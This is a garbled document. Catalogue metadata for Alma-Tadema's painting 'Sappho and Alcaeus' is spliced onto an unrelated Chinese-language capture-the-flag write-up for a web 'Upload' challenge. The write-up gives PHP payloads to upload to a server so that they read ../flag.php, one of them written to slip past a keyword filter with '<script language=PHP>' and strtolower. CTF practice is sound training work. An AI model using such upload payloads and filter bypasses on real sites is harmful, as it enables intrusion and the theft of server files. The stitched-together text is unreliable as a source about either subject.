Title: Sappho and Alcaeus
Creator: Lawrence Alma-Tadema
Creator Lifespan: 1836/1912
Creator Nationality: Dutch and British
Date Created: 1881
Physical Dimensions: w122 x h104.1402 cm
Type: oil paintings; panel paintings
Medium: oil on panel
Artist: Sir Lawrence Alma-Tadema, R.A., O.M.
CTF竞赛题目类型主要包含 Web 网络攻防
、 Reverse 逆向工程
、 Pwn 二进制漏洞利用
、 Crypto 密码攻击
、 Mobile 移动安全
以及 Misc 安全杂项
这六个类别。
本文为web网络攻防方向。
赛题
初始来源
#“百度杯”CTF比赛# #九月场# #Upload#
赛题传送门
【赛题类型】—>【CTF训练】
【比赛名称】—>【全部】
【题目类型】—>【Web】
选择价值 50pt,类型为 Web,名称为【Upload】的题目:
解题过程
进入到靶场环境后,得到如下的初始页面:
根据题目的提示tips:flag在flag.php中,可以推测本题目是想通过上传文件,并通过执行文件读取flag.php源码,来获取flag。
先随意上传一张图片看看效果:
发现【上传成功!】是个超链接可以点击,点击后是查看上传文件,由此得出,可以通过文件上传来构造读取flag.php的源码。
先构造最简单直接的版本:
1
2
3
4
5
<?php
$file = fopen("../flag.php", "r");
echo fread($file, filesize("../flag.php"));
fclose($file)
?>
上传后,得到
发现并没有执行,并且php后缀都被过滤掉了,尝试将 ?php 使用 **
1
2
3
4
5
<script language=PHP>
$file = fopen("../flag.".strtolower("PHP"), "r");
echo fread($file, filesize("../flag.".strtolower("PHP")));
fclose($file)
</script>
上传后,得到:
此时并没有输出错误,说明执行成功了,【F12】查看网页源码:
至此,得到flag。
总结
本题目相对简单,主要考察php文件读取,以及简单的针对关键字过滤的绕过技巧。